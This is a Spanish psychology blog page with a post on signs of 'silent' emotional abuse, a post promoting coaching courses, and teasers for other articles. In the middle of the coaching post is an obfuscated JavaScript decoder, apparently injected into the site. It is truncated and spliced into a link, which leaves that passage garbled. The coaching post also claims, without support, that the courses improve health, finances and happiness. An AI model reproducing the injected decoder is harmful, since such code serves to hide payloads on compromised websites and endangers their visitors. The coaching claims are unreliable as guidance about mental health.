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Psicoterapia

Psicología: El abuso silencioso

5 octubre, 2018 by silcastro

En este artículo compartimos algunas señales para que puedas darte cuenta si estás siendo abusado silenciosamente (y ni siquiera lo sabes)

Cuando las personas piensan en el abuso verbal y emocional, generalmente asumimos que se hace a través de gritos, pero la verdad es que muchos abusos ocurren en niveles muy diferentes.

¿Qué es el abuso emocional? Los expertos en violencia doméstica en realidad incluso tienen un nombre para eso, lo llaman «abuso silencioso». El abuso silencioso es el abuso verbal que ocurre en los niveles normales de conversación o el abuso que ocurre de forma silenciosa. ¿Pero serías capaz de reconocer los signos de abuso emocional como este?

Lo creas o no, el abuso silencioso es en realidad bastante común, incluso entre amigos, familiares o colegas. Lo importante es detectar a tiempo el abuso emocional y consultar con un equipo de psicoterapeutas en Madrid, para poder salir de esta situación con el menor daño posible.

Aquí 7 signos de abuso emocional que podría haber experimentado en el pasado:

  1. Hace bromas malas que tocan en tu autoestima.

Solo para aclarar cualquier queja que tenga con sugerencias de que es «demasiado sensible» y que es «solo una broma». Esta puede ser una forma de abuso verbal que se observa tanto en las relaciones como en las oficinas, y puede afectar seriamente la forma en que lo hace. sentir sobre ti mismo No se limite a ignorarlo si lo que está haciendo le está molestando seriamente.

  1. Te insulta sin subir el tono de voz.

Los insultos flagrantes que se dicen a un nivel de tono normal, también son formas de abuso emocional. ¿Sabes cómo tienes a ese amigo que siempre te dice que eres la «gorda» del grupo? ¿O cómo una vez tuvo un jefe que insistió en que era «inútil» en las reuniones? Sí, esto es un abuso silencioso si se hace a niveles de ruido parlantes.

  1. Te hace sentir culpable.

El disparo de culpa es otra forma bastante común de abuso silencioso. ¿Alguna vez te has sentido culpable de hacer algo que realmente no te sientes cómodo haciendo? Sí, esta es una táctica manipuladora que cae bajo el abuso silencioso .

  1. Te ignora cuando le hablas.

Este es un método que usan las personas para desestimar a las personas o hacer que se sientan no amados. Si esto sucede en una relación, estás siendo abusado y faltado al respeto.

  1. Te excluye a propósito cuando no estás de acuerdo.

Todos estos son signos de abuso emocional. Todos duelen, todos se hacen con el objetivo de control en mente, y tampoco requieren grandes cantidades de volumen para picar. De hecho, este tipo de comportamiento puede ser una de las formas de abuso más devastadoras que existen.

  1. A menudo se te dice que eres «demasiado sensible».

Personalmente, puedo decirle que las personas que dicen esto tienden a ser las que tienen una naturaleza abusiva. Si su pareja le dice regularmente que se «relaje» y que es «tan sensible» cada vez que aborda el tema de la forma en que lo tratan, es probable que esté lidiando con el abuso silencioso.

  1. Solo tiene una manera de hacerte sentir débil, pequeño o estúpido.

A veces, es realmente difícil entender qué hace un hombre que te hace sentir tan mal. A veces, el único indicador de que algo está muy mal es que estar cerca de él te hace sentir mal.

Lo que hace que el abuso silencioso sea tan terrible en comparación con el abuso manifiesto es que a menudo nos socializamos para sentir que estamos reaccionando exageradamente al abuso silencioso. Después de todo, generalmente se nos enseña que gritar es malo, pero que «hablar de las cosas» no lo es. Como resultado, el abuso silencioso es más difícil de identificar y contraatacar que su contraparte más ruidosa.

Nos registramos gritando como un ataque directo como nosotros naturalmente. Pero cuando tratamos con el abuso en silencio, a menudo nos vamos a saltar a la conclusión de que nos encontramos en el mal por hacer valer nosotros mismos, o que nos hizo algo mal. Esta es la razón por la que puede sentirse culpable al tratar de hablar de la manera en que se siente en contra de una pareja que también usa el abuso silencioso en su contra.

Los psicólogos y psicoterapeutas también se están volviendo más sabios sobre el abuso silencioso. Se están dando cuenta de que es más fácil desacreditar a las personas que son víctimas de abuso silencioso y que muchos abusadores saben cómo esconderse detrás de la retórica para no ser denunciados por su mal comportamiento. Es por eso que ahora hay distintas terapias para tratar de ayudar a las personas a reconocer que el abuso no siempre significa golpear o gritar.

No importa si la persona con la que estás no te está gritando o pegando. Si se está deshaciendo de su autoestima, y está haciendo todo lo posible para lastimarlo o controlarlo, es un abusador.

Filed Under: Psicología, Psicoterapia, Psiquiatría, Relaciones Tagged With: abuso emocional, parejas, psicologia, psicoterapia

Los beneficios del coaching

13 agosto, 2017 by josegp

Coaching

Miles de personas en nuestro país empezaron a oír cosas como cartas asociativas, técnicas de liberación emocional (EFT), ley de atracción… Todos oían esas palabras y les sonaban a chino, pero en cuanto se matricularon en cursos de coaching personal empezaron a entender el significado de estos términos y su aplicación en la vida real. Actualmente hay cientos de personas aplicando estas técnicas para ser felices y todas repiten la experiencia.

Esta claro que si queremos ser felices tenemos que esforzarnos por ello cada día, y quien prueba estos cursos sabe muy bien que su eficacia es evidente y continúan las clases porque saben que poco a poco serán más felices. No hay motivos para no inscribirse en un curso de coaching porque mejorará nuestra vida en diferentes ámbitos, desde lo personal hasta lo económico, pasando por todo lo relacionado con la salud.

Es increíble la capacidad que tiene nuestra mente para bloquearse a sí misma y generar malestar en nuestro cuerpo. Pero es fácil solucionar este problema con un poco de formación para eliminar estos bloqueos y aprender a ilusionarlos de nuevo. Hay quien piensa que esto no sirve para nada y no les va a ayudar, pero cuando lo prueban cambian de opinión. Es un proceso que lleva tiempo, no se consigue de un día para otro y tampoco sin esfuerzo, pero a la larga notaremos los resultados.

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandi.es/" rel="follow" class="external">El coaching consigue que alcancemos todos y cada uno de nuestros objetivos sin importar las causas de nuestros bloqueos. No se trata de aplicar psicología para ver qué nos ha supuesto un trauma o que experiencia nos ha afectado en el pasado y continúa en nuestros días sino de mirar hacia delante y visualizar nuestro yo futuro.

Este tipo de actividades, realizadas con la ayuda de un coach o especialista, sirven también para formarse como profesor profesional y poder impartir clases con un público que busca la armonía y el equilibrio personal. Podrás impartir talleres y cursos ya sea en grupos grandes o en pequeños equipos con una atención más personalizada.

Es posible que también te plantees dar cursos especiales enfocados a personas con problemas específicos que estén a un nivel similar de superación, lo que será muy eficaz para cada uno de ellos y el transcurso de la case será más rápido y sencillo. No obstante podría resultar muy costoso hacerlo así y es preferible ser profesor para un grupo más amplio.

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Psicología en niños y adolescentes

21 enero, 2016 by Raquel

La psicología infantil y en adolescentes es fundamental en problemas de baja autoestima, estrés y ansiedad [Read more…] about Psicología en niños y adolescentes

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El estrés y la negatividad se apoderan de nosotros con mucha facilidad. Tan es así que muchas veces ni siquiera nos damos cuenta de que estamos siendo negativos, y le llamamos ser “realistas”. [Read more…] about Cómo Ser Una Persona Positiva

Filed Under: Psicoterapia

¿Por qué se aíslan las parejas?

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Algunos alcances e ideas importantes a tener en cuenta para que las parejas no se aíslen. El aislamiento del entorno social, laboral, o familiar, no es un buen signo de una relación sana y armoniosa [Read more…] about ¿Por qué se aíslan las parejas?

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